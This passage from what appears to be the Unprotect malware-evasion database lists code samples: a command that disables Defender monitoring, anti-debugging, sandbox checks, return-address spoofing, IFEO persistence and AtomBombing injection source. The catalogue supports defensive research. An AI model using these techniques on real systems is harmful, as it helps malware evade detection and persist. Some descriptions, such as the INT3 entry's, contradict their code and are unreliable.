                "code_class": "cpp"
            },
            "author": {
                "id": 18,
                "name": "Alex Schwarz",
                "email": null,
                "linkedin": "https://www.linkedin.com/in/alex-schwarz",
                "twitter": null,
                "website": null,
                "github": "https://github.com/AlSch092"
            },
            "technique": "https://unprotect.it/api/techniques/339/?format=api",
            "description": "This code is implementing an anti-debugging technique that checks if a debugger is present in the environment. The TestDebugger() function generates a software interrupt (INT 3) using inline assembly code in x86 architecture.\r\n\r\nIf a debugger is present, it would intercept this interrupt, and the __except block will not execute, resulting in the TestDebugger() function returning false. On the other hand, if no debugger is present, the __except block will be executed, and the function will return true.\r\n\r\nThe main() function calls the TestDebugger() function and prints a message indicating whether a debugger was found or not. This code could be used as a security measure to protect against reverse engineering or malicious attacks by detecting if a debugger is present during runtime.",
            "plain_code": "#include <stdio.h>\r\n#include <windows.h>\r\n\r\nbool TestDebugger() \r\n{\r\n    __try\r\n    {\r\n        __asm  //x86 implementation\r\n        {\r\n            _emit 0xCD \r\n            _emit 0x03 //INT 03\r\n            _emit 0xC3 //RET\r\n        }\r\n    }\r\n    __except (EXCEPTION_EXECUTE_HANDLER)\r\n    {\r\n        return false;\r\n    }\r\n\r\n    return true;\r\n}\r\n\r\nint main()\r\n{\r\n    if(TestDebugger())\r\n    {\r\n        printf(\"Found debugger!\\n\");\r\n    }\r\n}"
        },
        {
            "id": 180,
            "language": {
                "id": 8,
                "label": "PowerShell",
                "code_class": "PowerShell"
            },
            "author": {
                "id": 3,
                "name": "Unprotect",
                "email": null,
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/47/?format=api",
            "description": "This command sets the `DisableRealtimeMonitoring` parameter in the Windows Defender preferences to `true`, effectively disabling the real-time monitoring feature of Windows Defender.",
            "plain_code": "Set-MpPreference -DisableRealtimeMonitoring $true"
        },
        {
            "id": 179,
            "language": {
                "id": 6,
                "label": "MASM",
                "code_class": "x86asm"
            },
            "author": {
                "id": 21,
                "name": "__Thanat0s__",
                "email": null,
                "linkedin": null,
                "twitter": "https://twitter.com/__thanat0s__",
                "website": "http://thanat0s.trollprod.org/",
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/237/?format=api",
            "description": "",
            "plain_code": "; #########################################\r\n; Compare the variable Computername & Logonserver\r\n; if they are the same ( except the // ) you are \r\n; not logged to a domain controller\r\n\r\n_isdomain:\r\n   push ebp\r\n   mov  ebp,esp\r\n   push ebx\r\n\r\n   jmp     runit\r\n\r\n   len_computername dd 13\r\n   ;str_computername db \"COMPUTERNAME=\"\r\n   ;str_computername db 78,66,64,93,88,89,72,95,67,76,64,72,48\r\n\r\n   len_logonserver dd 14\r\n   ;str_logonserver db \"LOGONSERVER=\\\\\"\r\n   ;str_logonserver db 66,65,73,65,64,93,75,92,88,75,92,51,82,82\r\n\r\nrunit:\r\n   call _getenvnoapi      ; Retrieve location of env and size\r\n   push eax\r\n   push  ecx\r\n\r\n   ; Get computername\r\n   invokel  _findstr, eax, ecx, str_computername + 1, dword [len_computername]\r\n   mov   esi,eax\r\n   pop   ecx\r\n   pop   eax\r\n\r\n   push  esi\r\n\r\n   ; Get LogonSvr\r\n   invokel  _findstr, eax, ecx, str_logonserver + 1, dword [len_logonserver]\r\n\r\n   ; validate the loggon server..\r\n   pop   esi\r\n   mov   edi, eax\r\n   mov   eax,0\r\n   test  edi,edi        ; On linux (vine) .. no computername, avoid crash\r\n   jz    _nodomain\r\n\r\n   mov    eax,edi\r\n   call  _strlenw\r\n   mov   ecx,eax\r\n   rep   cmpsb\r\n   mov   eax,0\r\n   CMP   ecx,0\r\n   jz   _nodomain  ; if the computer is equal to the domain then .. no domain\r\n\r\n   inc   eax  ; Eax = 1 ... domain logged\r\n_nodomain:\r\n\r\n      pop   ebx\r\n      mov   esp,ebp\r\n      pop   ebp\r\n      ret\r\n\r\n\r\n; #########################################\r\n_getenvnoapi:\r\n   ; Retrieve the memory offset of the environnement variables apiless.\r\n   ; Out: Eax offset buffer\r\n   ; Out: Ecx len buffer\r\n   mov   eax, [fs:0x30]    ; Get PEB\r\n   mov   eax, [eax + 0x10] ; Get ProcessParameters\r\n   mov   esi, [eax + 0x48] ; Get Environment\r\n   mov   edx,esi\r\n.scan_end:\r\n   lodsd          ; Scan for next 0x0 X 4\r\n   cmp   eax,0\r\n   jne   .scan_end\r\n   sub   esi, edx\r\n   mov   ecx,esi\r\n   mov   eax,edx\r\n   ret\r\n\r\n\r\n\r\n; #########################################\r\n_findstr:\r\n; Find a string\r\n;  Return 0 in eax if not found\r\n;  In stack [ebp+0x08] : Offset Buffer\r\n;  In stack [ebp+0x0c] : Size Buffer\r\n;  In stack [ebp+0x10] : Offset Pattern\r\n;  In stack [ebp+0x14] : Size Pattern\r\n;  Out eax   : Offset of string END\r\n;  Warning max 256 bytes... NO CHECK !\r\n\r\n   push ebp\r\n   mov  ebp,esp\r\n   sub  esp, 512\r\n   mov     esi, dword [ebp + 0x10]   ; Convert Ascii to Unicode\r\n   lea     edi, [ebp- 512]           ; Env is in unicode in memory\r\n   mov     dword [ebp + 0x10], edi\r\n   mov     ecx, [ebp+0x14]\r\n   mov   edx,ecx\r\n\r\nstrtouni:\r\n    lodsb\r\n    xor al, [xor_key]\r\n    stosb\r\n    xor eax,eax\r\n    stosb\r\n    loop    strtouni\r\n    shl     dword [ebp+0x14], 1     ; Update size * 2\r\n\r\n    mov     edx,dword [ebp+0x0c]    ; Len of Buffer to Seek\r\n    sub     edx,dword [ebp+0x14]    ; Len of string to Seek\r\n    std\r\niter:\r\n    mov     esi, [ebp+0x08]             ; Buffer to Seek\r\n    add     esi, edx                    ; Got to end - N\r\n    mov     edi, [ebp+0x10]             ; Buffer to pattern\r\n    mov     ecx, dword [ebp+0x14]       ; Size to compare\r\n\r\n    dec ecx\r\n    add     esi, ecx                    ; Got to buffer + Size\r\n    add     edi, ecx                    ; Got to pattern + Size\r\n    inc ecx\r\n\r\n    repe    cmpsb                      ; compare string...\r\n    jcxz    found                      ; If compare the same number we wins\r\n\r\n    sub     edx,2\r\n                                        ; N = N - 1 ( x2 Since unicode )\r\n                                        ; could be optimised for unicode... but....\r\n    jnz     iter                        ; Until N = 0\r\n\r\n    mov     eax,0\r\n    jmp     findstr_end\r\n\r\n\r\nfound:\r\n   add esi,1                           ; Pad x2 unicode...\r\n   add esi, dword [ebp+0x14]           ; Go to \"after\" the found string\r\n   mov eax,esi\r\n\r\nfindstr_end:\r\n   cld\r\n   mov esp,ebp\r\n   pop ebp\r\n   retn 16 \r\n\r\n\r\n; #########################################\r\n; Get string len wide\r\n; eax, string, return eax, len\r\n\r\n_strlenw:        ; eax: a string ending in 0\r\n   push ebx\r\n   push eax      ; cache eax\r\n\r\n  .strloopw:\r\n    mov bx, word [eax]\r\n    cmp bx, 0\r\n    je .strretw      ; return len if bl == 0\r\n    inc eax ; inc eax        ; else eax++\r\n\r\n    jmp .strloopw\r\n\r\n.strretw:\r\n    pop ebx        ; ebx = cached eax\r\n    sub eax, ebx    ; eax -= ebx\r\n    pop ebx\r\n    inc eax\r\n    ret          ; eax = len\r\n\r\n\r\n_getenvnoapi:\r\n   ; Out: Eax offset buffer\r\n   ; Out: Ecx len buffer\r\n   mov   eax, [fs:0x30]    ; Get PEB\r\n   mov   eax, [eax + 0x10] ; Get ProcessParameters\r\n   mov   esi, [eax + 0x48] ; Get Environment\r\n   mov   edx,esi\r\n.scan_end:\r\n   lodsd          ; Scan for next 0x0 X 4\r\n   cmp   eax,0\r\n   jne   .scan_end\r\n   sub   esi, edx\r\n   mov   ecx,esi\r\n   mov   eax,edx\r\n   ret"
        },
        {
            "id": 178,
            "language": {
                "id": 6,
                "label": "MASM",
                "code_class": "x86asm"
            },
            "author": {
                "id": 21,
                "name": "__Thanat0s__",
                "email": null,
                "linkedin": null,
                "twitter": "https://twitter.com/__thanat0s__",
                "website": "http://thanat0s.trollprod.org/",
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/236/?format=api",
            "description": "This code snippet is written in assembly language and is used to detect the hyperthreading capacity and number of CPUs in a system.\r\n\r\nFor detecting hyperthreading capacity, the code sets EAX to 1 to access the leaf processor info and feature bits. It then calls CPUID instruction, shifts the 28th bit (which is the hyperthread bit on Intel processors), and clears other bits with an AND instruction. If the result in EDX is 0, it means that the system does not have hyperthreading capacity.\r\n\r\nFor detecting the number of CPUs, the code retrieves the Processor Environment Block (PEB) and gets the CPU count information stored at an offset. It then decrements the value and checks if it is not equal to zero. If it is not equal to zero, it means that there is more than one CPU in the system.",
            "plain_code": "Detect hypertreading capacity through CPUID\r\n   mov eax, 1 ; Set EAX to 1 in order to access to the leaf processor info and feature bits\r\n   cpuid ; call cpuid\r\n   shr edx,28 ; shift the bit 28 ( which is hypertread bit on intel )\r\n   and edx,1 ; cleanup\r\n   ; 0 in edx means no hyperthearding capacity.\r\n\r\nDetect unique cpu through PEB\r\n   mov   eax, [fs:0x30]    ; Get PEB\r\n   mov   eax,[eax+0x64]    ; Get Cpu Count\r\n   dec   eax\r\n   jnz   _isnot_pebuniq    ; If eax = 0 , we have only one CPU\r\n   ret"
        },
        {
            "id": 177,
            "language": {
                "id": 6,
                "label": "MASM",
                "code_class": "x86asm"
            },
            "author": {
                "id": 16,
                "name": "External",
                "email": null,
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/235/?format=api",
            "description": "Source: https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html",
            "plain_code": "COMMENT ~\r\n    PUBLIC _spoofer_stub\r\n     \r\n    .code\r\n     \r\n    _spoofer_stub PROC\r\n        pop r11 ~ poping without setting up stack frame, r11 is the return address (the one in our code)\r\n        add rsp, 8 ~ skipping callee reserved space\r\n        mov rax, [rsp + 24] ~ dereference shell_param\r\n        \r\n        mov r10, [rax] ~ load shell_param.trampoline\r\n        mov [rsp], r10 ~ store address of trampoline as return address\r\n        \r\n        mov r10, [rax + 8] ~ load shell_param.function\r\n        mov [rax + 8], r11 ~ store the original return address in shell_param.function\r\n     \r\n        mov [rax + 16], rbx ~ preserve rbx in shell_param.rbx\r\n        lea rbx, fixup\r\n        mov [rax], rbx ~ store address of fixup label in shell_param.trampoline\r\n        mov rbx, rax ~ preserve address of shell_param in rbx\r\n        \r\n        jmp r10 ~ call shell_param.function\r\n     \r\n    fixup:\r\n        sub rsp, 16\r\n        mov rcx, rbx ~ restore address of shell_param\r\n        mov rbx, [rcx + 16] ~ restore rbx from shell_param.rbx\r\n        jmp QWORD PTR [rcx + 8] ~ jmp to the original return address\r\n    _spoofer_stub ENDP\r\n     \r\n    END"
        },
        {
            "id": 176,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 16,
                "name": "External",
                "email": null,
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/235/?format=api",
            "description": "This code implements a templated function called spoof_call that takes three arguments: trampoline, fn, and args.... The function creates a struct shell_params that contains two void pointers: trampoline and function. The function then calls the do_call function of the struct argument_remapper, which will forward the arguments to a helper function shellcode_stub_helper that calls fn using the arguments. The number of arguments is limited to 4 or fewer or at least 5, depending on the size of Args. The spoof_call function is used to call fn via the trampoline pointer. The purpose of this code is not clear, but it appears to be related to calling functions in a specific manner.\r\n\r\nSource: https://www.unknowncheats.me/forum/anti-cheat-bypass/268039-x64-return-address-spoofing-source-explanation.html",
            "plain_code": "#include <type_traits>\r\n \r\nnamespace detail\r\n{\r\n\textern \"C\" void* _spoofer_stub();\r\n \r\n\ttemplate <typename Ret, typename... Args>\r\n\tstatic inline auto shellcode_stub_helper(\r\n\t\tconst void* shell,\r\n\t\tArgs... args\r\n\t) -> Ret\r\n\t{\r\n\t\tauto fn = (Ret(*)(Args...))(shell);\r\n\t\treturn fn(args...);\r\n\t}\r\n \r\n\ttemplate <std::size_t Argc, typename>\r\n\tstruct argument_remapper\r\n\t{\r\n\t\t// At least 5 params\r\n\t\ttemplate<\r\n\t\t\ttypename Ret,\r\n\t\t\ttypename First,\r\n\t\t\ttypename Second,\r\n\t\t\ttypename Third,\r\n\t\t\ttypename Fourth,\r\n\t\t\ttypename... Pack\r\n\t\t>\r\n\t\tstatic auto do_call(\r\n\t\t\tconst void* shell,\r\n\t\t\tvoid* shell_param,\r\n\t\t\tFirst first,\r\n\t\t\tSecond second,\r\n\t\t\tThird third,\r\n\t\t\tFourth fourth,\r\n\t\t\tPack... pack\r\n\t\t) -> Ret\r\n\t\t{\r\n\t\t\treturn shellcode_stub_helper<\r\n\t\t\t\tRet,\r\n\t\t\t\tFirst,\r\n\t\t\t\tSecond,\r\n\t\t\t\tThird,\r\n\t\t\t\tFourth,\r\n\t\t\t\tvoid*,\r\n\t\t\t\tvoid*,\r\n\t\t\t\tPack...\r\n\t\t\t>(\r\n\t\t\t\tshell,\r\n\t\t\t\tfirst,\r\n\t\t\t\tsecond,\r\n\t\t\t\tthird,\r\n\t\t\t\tfourth,\r\n\t\t\t\tshell_param,\r\n\t\t\t\tnullptr,\r\n\t\t\t\tpack...\r\n\t\t\t);\r\n\t\t}\r\n\t};\r\n \r\n\ttemplate <std::size_t Argc>\r\n\tstruct argument_remapper<Argc, std::enable_if_t<Argc <= 4>>\r\n\t{\r\n\t\t// 4 or less params\r\n\t\ttemplate<\r\n\t\t\ttypename Ret,\r\n\t\t\ttypename First = void*,\r\n\t\t\ttypename Second = void*,\r\n\t\t\ttypename Third = void*,\r\n\t\t\ttypename Fourth = void*\r\n\t\t>\r\n\t\tstatic auto do_call(\r\n\t\t\tconst void* shell,\r\n\t\t\tvoid* shell_param,\r\n\t\t\tFirst first = First{},\r\n\t\t\tSecond second = Second{},\r\n\t\t\tThird third = Third{},\r\n\t\t\tFourth fourth = Fourth{}\r\n\t\t) -> Ret\r\n\t\t{\r\n\t\t\treturn shellcode_stub_helper<\r\n\t\t\t\tRet,\r\n\t\t\t\tFirst,\r\n\t\t\t\tSecond,\r\n\t\t\t\tThird,\r\n\t\t\t\tFourth,\r\n\t\t\t\tvoid*,\r\n\t\t\t\tvoid*\r\n\t\t\t>(\r\n\t\t\t\tshell,\r\n\t\t\t\tfirst,\r\n\t\t\t\tsecond,\r\n\t\t\t\tthird,\r\n\t\t\t\tfourth,\r\n\t\t\t\tshell_param,\r\n\t\t\t\tnullptr\r\n\t\t\t);\r\n\t\t}\r\n\t};\r\n}\r\n \r\n \r\ntemplate <typename Ret, typename... Args>\r\nstatic inline auto spoof_call(\r\n\tconst void* trampoline,\r\n\tRet(*fn)(Args...),\r\n\tArgs... args\r\n) -> Ret\r\n{\r\n\tstruct shell_params\r\n\t{\r\n\t\tconst void* trampoline;\r\n\t\tvoid* function;\r\n\t\tvoid* rbx;\r\n\t};\r\n \r\n\tshell_params p{ trampoline, reinterpret_cast<void*>(fn) };\r\n\tusing mapper = detail::argument_remapper<sizeof...(Args), void>;\r\n\treturn mapper::template do_call<Ret, Args...>((const void*)&detail::_spoofer_stub, &p, args...);\r\n}"
        },
        {
            "id": 175,
            "language": {
                "id": 5,
                "label": "Assembly",
                "code_class": "x86asm"
            },
            "author": {
                "id": 21,
                "name": "__Thanat0s__",
                "email": null,
                "linkedin": null,
                "twitter": "https://twitter.com/__thanat0s__",
                "website": "http://thanat0s.trollprod.org/",
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/21/?format=api",
            "description": "This assembly code is using the CPUID instruction to check if the current processor is an Intel CPU. It moves the value 0 into the EAX register and then executes the CPUID instruction. It compares the value in the EDX register with a specific hexadecimal value to determine if the processor is an Intel CPU. If the comparison is true, it jumps to a specific label, otherwise, it exits the function. The preprocessor directive %ifdef NOSB_INTELONLY check if the symbol NOSB_INTELONLY is defined before the compilation, if it is defined, the code block following this directive will be included in the final executable.",
            "plain_code": "%ifdef NOSB_INTELONLY\r\nmov eax,0\r\ncpuid\r\ncmp edx,0x49656E69\r\nje _isintel\r\nret\r\n_isintel:\r\n%endif"
        },
        {
            "id": 174,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 3,
                "name": "Unprotect",
                "email": null,
                "linkedin": null,
                "twitter": "https://twitter.com/hashtag/unprotectproject",
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/111/?format=api",
            "description": "",
            "plain_code": "#include <Windows.h>\r\n#include <TlHelp32.h>\r\n\r\nint main()\r\n{\r\n    // Create a snapshot of all running threads\r\n    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);\r\n\r\n    if (hSnapshot != INVALID_HANDLE_VALUE)\r\n    {\r\n        THREADENTRY32 te32;\r\n        te32.dwSize = sizeof(THREADENTRY32);\r\n\r\n        // Enumerate all running threads\r\n        if (Thread32First(hSnapshot, &te32))\r\n        {\r\n            do\r\n            {\r\n                // Check if the thread belongs to the target process\r\n                if (te32.th32OwnerProcessID == targetProcessId)\r\n                {\r\n                    // Open the thread\r\n                    HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, 0, te32.th32ThreadID);\r\n\r\n                    if (hThread != NULL)\r\n                    {\r\n                        // Inject your code here\r\n\r\n                        CloseHandle(hThread);\r\n                    }\r\n                }\r\n            } while (Thread32Next(hSnapshot, &te32));\r\n        }\r\n\r\n        CloseHandle(hSnapshot);\r\n    }\r\n}"
        },
        {
            "id": 173,
            "language": {
                "id": 3,
                "label": "Python",
                "code_class": "python"
            },
            "author": {
                "id": 21,
                "name": "__Thanat0s__",
                "email": null,
                "linkedin": null,
                "twitter": "https://twitter.com/__thanat0s__",
                "website": "http://thanat0s.trollprod.org/",
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/225/?format=api",
            "description": "",
            "plain_code": "import requests\r\nimport re\r\n\r\n# The actual destination domain requested\r\ndestination_domain = \"www.youtube.com\"\r\n\r\n# The fronting domain used in ssl\r\nfronting_domain = \"www.google.com\"\r\n\r\n# Create a session object\r\nsession = requests.Session()\r\n\r\n# force real destination in the Host header\r\nsession.headers[\"Host\"] = destination_domain\r\n\r\n# Send the request to the fronting domain\r\nresponse = session.get(\"https://\" + fronting_domain, headers={'X-Originating-URL': 'https://' + destination_domain})\r\n\r\n# Extract the title of the received page\r\ntitle = re.search(\"<title>(.*)</title>\", response.text)\r\nprint(title. Group(1))"
        },
        {
            "id": 172,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 2,
                "name": "Thomas Roccia",
                "email": null,
                "linkedin": "https://www.linkedin.com/in/thomas-roccia",
                "twitter": "https://twitter.com/fr0gger_",
                "website": "https://securitybreak.io",
                "github": "https://github.com/fr0gger"
            },
            "technique": "https://unprotect.it/api/techniques/112/?format=api",
            "description": "",
            "plain_code": "#include <Windows.h>\r\n#include <TlHelp32.h>\r\n\r\nint main()\r\n{\r\n    HKEY hKey;\r\n    LPCTSTR subkey = \"SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Image File Execution Options\\\\notepad.exe\";\r\n    LPCTSTR value = \"Debugger\";\r\n    LPCTSTR data = \"C:\\\\malware.dll\";\r\n    DWORD dwSize = sizeof(data);\r\n\r\n    // create or open the IFEO registry key\r\n    RegCreateKeyEx(HKEY_LOCAL_MACHINE, subkey, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, NULL);\r\n\r\n    // set the Debugger value to the path of the malicious DLL\r\n    RegSetValueEx(hKey, value, 0, REG_SZ, (LPBYTE)data, dwSize);\r\n\r\n    RegCloseKey(hKey);\r\n}"
        },
        {
            "id": 171,
            "language": {
                "id": 2,
                "label": "C++",
                "code_class": "cpp"
            },
            "author": {
                "id": 16,
                "name": "External",
                "email": null,
                "linkedin": null,
                "twitter": null,
                "website": null,
                "github": null
            },
            "technique": "https://unprotect.it/api/techniques/114/?format=api",
            "description": "Original code source: https://github.com/BreakingMalwareResearch/atom-bombing",
            "plain_code": "#include <stdio.h>\r\n#include <Windows.h>\r\n#include <TlHelp32.h>\r\n#include <winternl.h>\r\n\r\n#include \"..\\Release\\AtomBombingShellcode.h\"\r\n\r\n#define RTL_MAXIMUM_ATOM_LENGTH (255)\r\n#define SHELLCODE_FUNCTION_POINTERS_OFFSET (25)\r\n\r\n#define X86_RET ('\\xc3')\r\n\r\n#define TEXT_SECTION (\".text\")\r\n#define DATA_SECTION (\".data\")\r\n\r\n#define NTDLL (\"ntdll.dll\")\r\n#define KERNEL32 (\"kernel32.dll\")\r\n#define NTSETCONTEXTTHREAD (\"NtSetContextThread\")\r\n#define NTWAITFORSINGLEOBJECT (\"NtWaitForSingleObject\")\r\n#define MEMCPY (\"memcpy\")\r\n#define GETPROCADDRESS (\"GetProcAddress\")\r\n#define LOADLIBRARYA (\"LoadLibraryA\")\r\n#define GLOBALGETATOMNAMEW (\"GlobalGetAtomNameW\")\r\n#define NTQUEUEAPCTHREAD (\"NtQueueApcThread\")\r\n#define WAITFORSINGLEOBJECTEX (\"WaitForSingleObjectEx\")\r\n\r\n\r\ntypedef VOID(*PKNORMAL_ROUTINE)(PVOID NormalContext,\r\n\tPVOID SystemArgument1,\r\n\tPVOID SystemArgument2\r\n\t);\r\n\r\ntypedef ULONG(WINAPI * _NtQueueApcThread)(HANDLE ThreadHandle,\r\n\tPKNORMAL_ROUTINE ApcRoutine,\r\n\tPVOID NormalContext,\r\n\tPVOID SystemArgument1,\r\n\tPVOID SystemArgument2\r\n\t);\r\n\r\ntypedef NTSTATUS(NTAPI *_NtQueryInformationProcess)(\r\n\tHANDLE ProcessHandle,\r\n\tDWORD ProcessInformationClass,\r\n\tPVOID ProcessInformation,\r\n\tDWORD ProcessInformationLength,\r\n\tPDWORD ReturnLength\r\n\t);\r\n\r\n#pragma pack(push, 1)\r\ntypedef struct _FUNCTIONPOINTERS\r\n{\r\n\tvoid *pfnLoadLibraryA;\r\n\tvoid *pfnGetProcAddress;\r\n} FUNCTIONPOINTERS, *PFUNCTIONPOINTERS;\r\n#pragma pack(pop)\r\n\r\ntypedef enum _ESTATUS\r\n{\r\n\tESTATUS_INVALID = -1,\r\n\tESTATUS_SUCCESS = 0,\r\n\r\n\tESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPER_NTQUEUEAPCTHREAD_FAILED = 0x100,\r\n\r\n\tESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALADDATOMW_FAILED,\r\n\r\n\tESTATUS_MAIN_DOESSTRINGCONTAINNULLTERMINATORW_WCSCHR_FAILED,\r\n\r\n\tESTATUS_MAIN_GETTHREADTEBADDRESS_NTQUERYINFORMATIONTHREAD_ERROR,\r\n\r\n\tESTATUS_MAIN_OPENPROCESSBYNAME_OPENPROCESS_ERROR,\r\n\r\n\tESTATUS_MAIN_GETPROCESSIDBYNAME_CREATETOOLHELP32SNAPSHOT_ERROR,\r\n\tESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS32FIRST_ERROR,\r\n\tESTATUS_MAIN_GETPROCESSIDBYNAME_PROCESS_NOT_FOUND,\r\n\r\n\tESTATUS_MAIN_GETTHREADTEBADDRESS_GETTHREADSELECTORENTRY_FAILED,\r\n\t\r\n\tESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED,\r\n\tESTATUS_MAIN_NTQUEUEAPCTHREADWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED,\r\n\r\n\tESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_SUSPENDTHREAD_FAILED,\r\n\tESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_RESUMETHREAD_FAILED,\r\n\tESTATUS_MAIN_QUEUEUSERAPCWRAPPERANDKEEPALERTABLE_QUEUEUSERAPC_FAILED,\r\n\t\r\n\tESTATUS_MAIN_APCWRITEPROCESSMEMORYNULLTERMINATEDINTERNAL_BUFFER_CONTAINS_NULL,\r\n\t\r\n\tESTATUS_MAIN_FINDALERTABLETHREAD_NO_ALERTABLE_THREADS_FOUND,\r\n\r\n\tESTATUS_MAIN_GETTHREADCONTEXT_SUSPENDTHREAD_FAILED,\r\n\tESTATUS_MAIN_GETTHREADCONTEXT_GETTHREADCONTEXT_FAILED,\r\n\tESTATUS_MAIN_GETTHREADCONTEXT_RESUMETHREAD_FAILED,\r\n\t\r\n\tESTATUS_MAIN_GETSECTIONHEADER_SECTION_NOT_FOUND,\r\n\r\n\tESTATUS_MAIN_GETCODECAVEADDRESS_GETMODULEHANDLEA_FAILED,\r\n\r\n\tESTATUS_MAIN_FINDRETGADGET_GETMODULEHANDLEA_FAILED,\r\n\tESTATUS_MAIN_FINDRETGADGET_RET_GADGET_NOT_FOUND,\r\n\r\n\tESTATUS_GETFUNCTIONADDRESSFROMDLL_GETMODULEHANDLEA_FAILED,\r\n\tESTATUS_GETFUNCTIONADDRESSFROMDLL_GETPROCADDRESS_FAILED,\r\n\r\n\tESTATUS_MAIN_ISPROCESSMEMORYEQUAL_HEAPALLOC_FAILED,\r\n\tESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_FAILED,\r\n\tESTATUS_MAIN_ISPROCESSMEMORYEQUAL_READPROCESSMEMORY_MISMATCH,\r\n\r\n\tESTATUS_MAIN_ADDNULLTERMINATEDATOMANDVERIFYW_GLOBALDELETEATOM_FAILED,\r\n\r\n\tESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_GLOBALGETATOMNAMEW_FAILED,\r\n\tESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_HEAPALLOC_FAILED,\r\n\r\n\tESTATUS_MAIN_ENUMPROCESSTHREADS_OPENTHREAD_FAILED,\r\n\r\n\tESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC_FAILED,\r\n\tESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC2_FAILED,\r\n\tESTATUS_MAIN_FINDALERTABLETHREAD_CREATEEVENT_FAILED,\r\n\tESTATUS_MAIN_FINDALERTABLETHREAD_DUPLICATEHANDLE_FAILED,\r\n\tESTATUS_MAIN_FINDALERTABLETHREAD_WAITFORMULTIPLEOBJECTS_FAILED,\r\n\r\n} ESTATUS, *PESTATUS;\r\n\r\n#define ESTATUS_FAILED(eStatus) (ESTATUS_SUCCESS != eStatus)\r\n\r\nESTATUS GetFunctionAddressFromDll(\r\n\tPSTR pszDllName,\r\n\tPSTR pszFunctionName,\r\n\tPVOID *ppvFunctionAddress\r\n\t)\r\n{\r\n\tHMODULE hModule = NULL;\r\n\tPVOID\tpvFunctionAddress = NULL;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\r\n\thModule = GetModuleHandleA(pszDllName);\r\n\tif (NULL == hModule)\r\n\t{\r\n\t\teReturn = ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETMODULEHANDLEA_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tpvFunctionAddress = GetProcAddress(hModule, pszFunctionName);\r\n\tif (NULL == pvFunctionAddress)\r\n\t{\r\n\t\teReturn = ESTATUS_GETFUNCTIONADDRESSFROMDLL_GETPROCADDRESS_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\t*ppvFunctionAddress = pvFunctionAddress;\r\n\teReturn = ESTATUS_SUCCESS;\r\n\r\nlblCleanup:\r\n\treturn eReturn;\r\n}\r\n\r\nESTATUS main_WasAtomWrittenSuccessfully(\r\n\tATOM tAtom,\r\n\tPWSTR pswzExpectedBuffer,\r\n\tPBOOL pbWasAtomWrittenSuccessfully\r\n\t)\r\n{\r\n\tLPWSTR pswzCheckBuffer = NULL;\r\n\tDWORD cbCheckBuffer = 0;\r\n\tESTATUS eReturn = ESTATUS_INVALID;\r\n\tUINT uiRet = 0;\r\n\tHMODULE hUser32 = NULL;\r\n\tBOOL bWasAtomWrittenSuccessfully = FALSE;\r\n\r\n\t// If user32.dll is not loaded, the ATOM functions return access denied.For more details see :\r\n\t// http://www.tech-archive.net/Archive/Development/microsoft.public.win32.programmer.kernel/2004-03/0851.html\r\n\thUser32 = LoadLibrary(L\"user32.dll\");\r\n\tif (NULL == hUser32)\r\n\t{\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tcbCheckBuffer = (wcslen(pswzExpectedBuffer) + 1) * sizeof(WCHAR);\r\n\r\n\tpswzCheckBuffer = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, cbCheckBuffer);\r\n\tif (NULL == pswzCheckBuffer)\r\n\t{\r\n\t\tprintf(\"HeapAlloc failed. GLE: 0x%X (%d)\\n\\n\", GetLastError(), GetLastError());\r\n\t\teReturn = ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_HEAPALLOC_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tuiRet = GlobalGetAtomNameW(tAtom, pswzCheckBuffer, cbCheckBuffer);\r\n\tif (0 == uiRet)\r\n\t{\r\n\t\tprintf(\"GlobalGetAtomNameA failed. GLE: 0x%X (%d)\\n\\n\", GetLastError(), GetLastError());\r\n\t\teReturn = ESTATUS_MAIN_WASATOMWRITTENSUCCESSFULLY_GLOBALGETATOMNAMEW_FAILED;\r\n\t\tgoto lblCleanup;\r\n\t}\r\n\r\n\tbWasAtomWrittenSuccessfully = (0 == memcmp(pswzCheckBuffer, pswzExpectedBuffer, cbCheckBuffer));\r\n\r\n\teReturn = ESTATUS_SUCCESS;\r\n\t*pbWasAtomWrittenSuccessfully = 